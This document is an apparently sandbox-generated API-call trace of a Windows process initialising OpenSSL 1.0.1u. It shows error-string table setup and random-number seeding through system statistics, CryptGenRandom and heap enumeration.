[0112.908] strncpy (in: _Dest=0x7235e600, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.908] strerror (param_1=16) returned="Resource device" [0112.908] strncpy (in: _Dest=0x7235e620, _Source="Resource device", _Count=0x20 | out: _Dest="Resource device") returned="Resource device" [0112.908] strerror (param_1=17) returned="File exists" [0112.908] strncpy (in: _Dest=0x7235e640, _Source="File exists", _Count=0x20 | out: _Dest="File exists") returned="File exists" [0112.908] strerror (param_1=18) returned="Improper link" [0112.908] strncpy (in: _Dest=0x7235e660, _Source="Improper link", _Count=0x20 | out: _Dest="Improper link") returned="Improper link" [0112.908] strerror (param_1=19) returned="No such device" [0112.908] strncpy (in: _Dest=0x7235e680, _Source="No such device", _Count=0x20 | out: _Dest="No such device") returned="No such device" [0112.908] strerror (param_1=20) returned="Not a directory" [0112.908] strncpy (in: _Dest=0x7235e6a0, _Source="Not a directory", _Count=0x20 | out: _Dest="Not a directory") returned="Not a directory" [0112.908] strerror (param_1=21) returned="Is a directory" [0112.908] strncpy (in: _Dest=0x7235e6c0, _Source="Is a directory", _Count=0x20 | out: _Dest="Is a directory") returned="Is a directory" [0112.908] strerror (param_1=22) returned="Invalid argument" [0112.908] strncpy (in: _Dest=0x7235e6e0, _Source="Invalid argument", _Count=0x20 | out: _Dest="Invalid argument") returned="Invalid argument" [0112.908] strerror (param_1=23) returned="Too many open files in system" [0112.908] strncpy (in: _Dest=0x7235e700, _Source="Too many open files in system", _Count=0x20 | out: _Dest="Too many open files in system") returned="Too many open files in system" [0112.908] strerror (param_1=24) returned="Too many open files" [0112.908] strncpy (in: _Dest=0x7235e720, _Source="Too many open files", _Count=0x20 | out: _Dest="Too many open files") returned="Too many open files" [0112.908] strerror (param_1=25) returned="Inappropriate I/O control operation" [0112.908] strncpy (in: _Dest=0x7235e740, _Source="Inappropriate I/O control operation", _Count=0x20 | out: _Dest="Inappropriate I/O control operat") returned="Inappropriate I/O control operat" [0112.908] strerror (param_1=26) returned="Unknown error" [0112.908] strncpy (in: _Dest=0x7235e760, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.908] strerror (param_1=27) returned="File too large" [0112.908] strncpy (in: _Dest=0x7235e780, _Source="File too large", _Count=0x20 | out: _Dest="File too large") returned="File too large" [0112.908] strerror (param_1=28) returned="No space left on device" [0112.908] strncpy (in: _Dest=0x7235e7a0, _Source="No space left on device", _Count=0x20 | out: _Dest="No space left on device") returned="No space left on device" [0112.908] strerror (param_1=29) returned="Invalid seek" [0112.908] strncpy (in: _Dest=0x7235e7c0, _Source="Invalid seek", _Count=0x20 | out: _Dest="Invalid seek") returned="Invalid seek" [0112.908] strerror (param_1=30) returned="Read-only file system" [0112.908] strncpy (in: _Dest=0x7235e7e0, _Source="Read-only file system", _Count=0x20 | out: _Dest="Read-only file system") returned="Read-only file system" [0112.908] strerror (param_1=31) returned="Too many links" [0112.908] strncpy (in: _Dest=0x7235e800, _Source="Too many links", _Count=0x20 | out: _Dest="Too many links") returned="Too many links" [0112.908] strerror (param_1=32) returned="Broken pipe" [0112.908] strncpy (in: _Dest=0x7235e820, _Source="Broken pipe", _Count=0x20 | out: _Dest="Broken pipe") returned="Broken pipe" [0112.908] strerror (param_1=33) returned="Domain error" [0112.908] strncpy (in: _Dest=0x7235e840, _Source="Domain error", _Count=0x20 | out: _Dest="Domain error") returned="Domain error" [0112.908] strerror (param_1=34) returned="Result too large" [0112.908] strncpy (in: _Dest=0x7235e860, _Source="Result too large", _Count=0x20 | out: _Dest="Result too large") returned="Result too large" [0112.908] strerror (param_1=35) returned="Unknown error" [0112.908] strncpy (in: _Dest=0x7235e880, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.908] strerror (param_1=36) returned="Resource deadlock avoided" [0112.909] strncpy (in: _Dest=0x7235e8a0, _Source="Resource deadlock avoided", _Count=0x20 | out: _Dest="Resource deadlock avoided") returned="Resource deadlock avoided" [0112.909] strerror (param_1=37) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235e8c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=38) returned="Filename too long" [0112.909] strncpy (in: _Dest=0x7235e8e0, _Source="Filename too long", _Count=0x20 | out: _Dest="Filename too long") returned="Filename too long" [0112.909] strerror (param_1=39) returned="No locks available" [0112.909] strncpy (in: _Dest=0x7235e900, _Source="No locks available", _Count=0x20 | out: _Dest="No locks available") returned="No locks available" [0112.909] strerror (param_1=40) returned="Function not implemented" [0112.909] strncpy (in: _Dest=0x7235e920, _Source="Function not implemented", _Count=0x20 | out: _Dest="Function not implemented") returned="Function not implemented" [0112.909] strerror (param_1=41) returned="Directory not empty" [0112.909] strncpy (in: _Dest=0x7235e940, _Source="Directory not empty", _Count=0x20 | out: _Dest="Directory not empty") returned="Directory not empty" [0112.909] strerror (param_1=42) returned="Illegal byte sequence" [0112.909] strncpy (in: _Dest=0x7235e960, _Source="Illegal byte sequence", _Count=0x20 | out: _Dest="Illegal byte sequence") returned="Illegal byte sequence" [0112.909] strerror (param_1=43) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235e980, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=44) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235e9a0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=45) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235e9c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=46) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235e9e0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=47) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235ea00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=48) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235ea20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=49) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235ea40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=50) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235ea60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=51) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235ea80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=52) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eaa0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=53) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eac0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=54) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eae0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=55) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eb00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=56) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eb20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=57) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eb40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=58) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eb60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=59) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eb80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=60) returned="Unknown error" [0112.909] strncpy (in: _Dest=0x7235eba0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.909] strerror (param_1=61) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ebc0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=62) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ebe0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=63) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ec00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=64) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ec20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=65) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ec40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=66) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ec60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=67) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ec80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=68) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235eca0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=69) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ecc0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=70) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ece0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=71) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ed00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=72) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ed20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=73) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ed40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=74) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ed60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=75) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ed80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=76) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235eda0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=77) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235edc0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=78) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ede0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=79) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ee00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=80) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ee20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=81) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ee40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=82) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ee60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=83) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235ee80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=84) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235eea0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=85) returned="Unknown error" [0112.910] strncpy (in: _Dest=0x7235eec0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.910] strerror (param_1=86) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235eee0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=87) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235ef00, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=88) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235ef20, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=89) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235ef40, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=90) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235ef60, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=91) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235ef80, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=92) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235efa0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=93) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235efc0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=94) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235efe0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=95) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f000, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=96) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f020, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=97) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f040, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=98) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f060, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=99) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f080, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=100) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f0a0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=101) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f0c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=102) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f0e0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=103) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f100, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=104) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f120, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=105) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f140, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=106) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f160, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=107) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f180, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=108) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f1a0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=109) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f1c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=110) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f1e0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.911] strerror (param_1=111) returned="Unknown error" [0112.911] strncpy (in: _Dest=0x7235f200, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=112) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f220, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=113) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f240, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=114) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f260, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=115) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f280, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=116) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f2a0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=117) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f2c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=118) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f2e0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=119) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f300, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=120) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f320, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=121) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f340, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=122) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f360, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=123) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f380, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=124) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f3a0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=125) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f3c0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=126) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f3e0, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.912] strerror (param_1=127) returned="Unknown error" [0112.912] strncpy (in: _Dest=0x7235f400, _Source="Unknown error", _Count=0x20 | out: _Dest="Unknown error") returned="Unknown error" [0112.917] strcmp (_Str1="ecdsa-with-SHA1", _Str2="ecdsa-with-SHA1") returned 0 [0112.917] strcmp (_Str1="whirlpool", _Str2="whirlpool") returned 0 [0112.917] strcmp (_Str1="OpenSSL 1.0.1u 22 Sep 2016", _Str2="OpenSSL 1.0.1u 22 Sep 2016") returned 0 [0112.917] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77280000 [0112.918] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75dc0000 [0112.918] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x749d0000 [0112.931] GetProcAddress (hModule=0x749d0000, lpProcName="NetStatisticsGet") returned 0x749d644f [0112.931] GetProcAddress (hModule=0x749d0000, lpProcName="NetApiBufferFree") returned 0x749c13d2 [0112.931] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e14, Level=0x0, Options=0x0, Buffer=0x36f2d8 | out: Buffer=0x36f2d8) returned 0x0 [0113.015] NetApiBufferFree (Buffer=0x74a748) returned 0x0 [0113.016] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e38, Level=0x0, Options=0x0, Buffer=0x36f2d8 | out: Buffer=0x36f2d8) returned 0x0 [0113.016] NetApiBufferFree (Buffer=0x74bda8) returned 0x0 [0113.016] FreeLibrary (hLibModule=0x749d0000) returned 1 [0113.018] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0113.018] GetProcAddress (hModule=0x77280000, lpProcName="CryptGenRandom") returned 0x7728dfc8 [0113.018] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0113.018] CryptAcquireContextW (in: phProv=0x36f2a4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x36f2a4*=0x74b820) returned 1 [0113.018] CryptGenRandom (in: hProv=0x74b820, dwLen=0x40, pbBuffer=0x36f64c | out: pbBuffer=0x36f64c) returned 1 [0113.018] CryptReleaseContext (hProv=0x74b820, dwFlags=0x0) returned 1 [0113.019] CryptAcquireContextW (in: phProv=0x36f2a4, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x36f2a4*=0x74b820) returned 0 [0113.019] FreeLibrary (hLibModule=0x77280000) returned 1 [0113.019] GetVersion () returned 0x1db10106 [0113.019] GetModuleHandleA (lpModuleName=0x0) returned 0xed0000 [0113.019] GetProcAddress (hModule=0xed0000, lpProcName="_OPENSSL_isservice") returned 0x0 [0113.019] GetProcessWindowStation () returned 0x4c [0113.019] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x36f218 | out: pvInfo=0x0, lpnLengthNeeded=0x36f218) returned 0 [0113.019] GetLastError () returned 0x7a [0113.019] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x36f1d0, nLength=0x10, lpnLengthNeeded=0x36f218 | out: pvInfo=0x36f1d0, lpnLengthNeeded=0x36f218) returned 1 [0113.019] wcsstr (_Str="WinSta0", _SubStr="Service-0x") returned 0x0 [0113.019] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x757e0000 [0113.019] GetProcAddress (hModule=0x757e0000, lpProcName="GetForegroundWindow") returned 0x75802320 [0113.019] GetProcAddress (hModule=0x757e0000, lpProcName="GetCursorInfo") returned 0x7585812f [0113.019] GetProcAddress (hModule=0x757e0000, lpProcName="GetQueueStatus") returned 0x75803924 [0113.019] GetForegroundWindow () returned 0x101a0 [0113.019] GetVersion () returned 0x1db10106 [0113.019] GetVersion () returned 0x1db10106 [0113.019] GetCursorInfo (in: pci=0x36f2d8 | out: pci=0x36f2d8) returned 1 [0113.019] GetQueueStatus (flags=0x4bf) returned 0x0 [0113.020] FreeLibrary (hLibModule=0x757e0000) returned 1 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32First") returned 0x75e55763 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32Next") returned 0x75e5594e [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListFirst") returned 0x75e55621 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListNext") returned 0x75e556cb [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32First") returned 0x75df8ae7 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32Next") returned 0x75df88a4 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32First") returned 0x75e55b93 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32Next") returned 0x75e55c3f [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32First") returned 0x75e55cd9 [0113.020] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32Next") returned 0x75e55dc2 [0113.020] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x80 [0113.024] GetTickCount () returned 0x232d2 [0113.024] Heap32ListFirst (hSnapshot=0x80, lphl=0x36f2ac) returned 1 [0113.024] Heap32First (lphe=0x36f2d8, th32ProcessID=0x9b4, th32HeapID=0x730000) returned 1 [0113.027] Heap32Next (lphe=0x36f2d8) returned 1 [0113.029] Heap32Next (lphe=0x36f2d8) returned 1 [0113.031] Heap32Next (lphe=0x36f2d8) returned 1 [0113.034] Heap32Next (lphe=0x36f2d8) returned 1 [0113.036] Heap32Next (lphe=0x36f2d8) returned 1 [0113.038] Heap32Next (lphe=0x36f2d8) returned 1 [0113.040] Heap32Next (lphe=0x36f2d8) returned 1 [0113.043] Heap32Next (lphe=0x36f2d8) returned 1 [0113.045] Heap32Next (lphe=0x36f2d8) returned 1 [0113.052] Heap32Next (lphe=0x36f2d8) returned 1 [0113.054] Heap32Next (lphe=0x36f2d8) returned 1 [0113.057] Heap32Next (lphe=0x36f2d8) returned 1 [0113.059] Heap32Next (lphe=0x36f2d8) returned 1 [0113.124] Heap32Next (lphe=0x36f2d8) returned 1 [0113.126] Heap32Next (lphe=0x36f2d8) returned 1 [0113.129] Heap32Next (lphe=0x36f2d8) returned 1 [0113.131] Heap32Next (lphe=0x36f2d8) returned 1 [0113.133] Heap32Next (lphe=0x36f2d8) returned 1 [0113.135] Heap32Next (lphe=0x36f2d8) returned 1 [0113.138] Heap32Next (lphe=0x36f2d8) returned 1 [0113.141] Heap32Next (lphe=0x36f2d8) returned 1 [0113.143] Heap32Next (lphe=0x36f2d8) returned 1 [0113.145] Heap32Next (lphe=0x36f2d8) returned 1 [0113.147] Heap32Next (lphe=0x36f2d8) returned 1 [0113.150] Heap32Next (lphe=0x36f2d8) returned 1 [0113.152] Heap32Next (lphe=0x36f2d8) returned 1 [0113.154] Heap32Next (lphe=0x36f2d8) returned 1 [0113.157] Heap32Next (lphe=0x36f2d8) returned 1 [0113.159] Heap32Next (lphe=0x36f2d8) returned 1 [0113.161] Heap32Next (lphe=0x36f2d8) returned 1 [0113.163] Heap32Next (lphe=0x36f2d8) returned 1 [0113.165] Heap32Next (lphe=0x36f2d8) returned 1 [0113.167] Heap32Next (lphe=0x36f2d8) returned 1 [0113.169] Heap32Next (lphe=0x36f2d8) returned 1 [0113.219] Heap32Next (lphe=0x36f2d8) returned 1 [0113.221] Heap32Next (lphe=0x36f2d8) returned 1 [0113.223] Heap32Next (lphe=0x36f2d8) returned 1 [0113.225] Heap32Next (lphe=0x36f2d8) returned 1 [0113.227] Heap32Next (lphe=0x36f2d8) returned 1 [0113.229] Heap32Next (lphe=0x36f2d8) returned 1 [0113.232] Heap32Next (lphe=0x36f2d8) returned 1 [0113.234] Heap32Next (lphe=0x36f2d8) returned 1 [0113.236] Heap32Next (lphe=0x36f2d8) returned 1 [0113.238] Heap32Next (lphe=0x36f2d8) returned 1 [0113.241] Heap32Next (lphe=0x36f2d8) returned 1 [0113.243] Heap32Next (lphe=0x36f2d8) returned 1 [0113.245] Heap32Next (lphe=0x36f2d8) returned 1 [0113.247] Heap32Next (lphe=0x36f2d8) returned 1 [0113.250] Heap32Next (lphe=0x36f2d8) returned 1 [0113.252] Heap32Next (lphe=0x36f2d8) returned 1 [0113.254] Heap32Next (lphe=0x36f2d8) returned 1 [0113.256] Heap32Next (lphe=0x36f2d8) returned 1 [0113.258] Heap32Next (lphe=0x36f2d8) returned 1 [0113.260] Heap32Next (lphe=0x36f2d8) returned 1 [0113.263] Heap32Next (lphe=0x36f2d8) returned 1 [0113.328] Heap32Next (lphe=0x36f2d8) returned 1 [0113.330] Heap32Next (lphe=0x36f2d8) returned 1 [0113.333] Heap32Next (lphe=0x36f2d8) returned 1 [0113.336] Heap32Next (lphe=0x36f2d8) returned 1 [0113.338] Heap32Next (lphe=0x36f2d8) returned 1 [0113.340] Heap32Next (lphe=0x36f2d8) returned 1 [0113.343] Heap32Next (lphe=0x36f2d8) returned 1 